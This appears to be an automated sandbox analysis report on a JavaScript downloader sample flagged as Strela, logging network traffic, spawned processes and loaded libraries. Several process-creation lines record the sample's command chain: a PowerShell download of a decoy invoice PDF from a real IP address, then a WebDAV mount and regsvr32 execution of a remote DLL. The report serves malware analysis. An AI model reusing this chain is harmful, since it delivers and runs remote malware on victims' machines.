Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1420953951.00000247DB72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1478315237.000001CFC9B98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478315237.000001CFC9BEC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478315237.000001CFC9BCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1478315237.000001CFC9BCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/5
Source: net.exe, 00000007.00000002.1478315237.000001CFC9B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace%
Source: net.exe, 00000007.00000002.1478315237.000001CFC9BCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/rU
Source: svchost.exe, 00000009.00000002.2709081123.000001B560600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1477852191.000001B5604F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3344, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 15315323282846423758.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3276:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnt22yio.g34.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 15315323282846423758.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1900 --field-trial-handle=1636,i,7680078454026771213,17206862086512278938,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1900 --field-trial-handle=1636,i,7680078454026771213,17206862086512278938,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
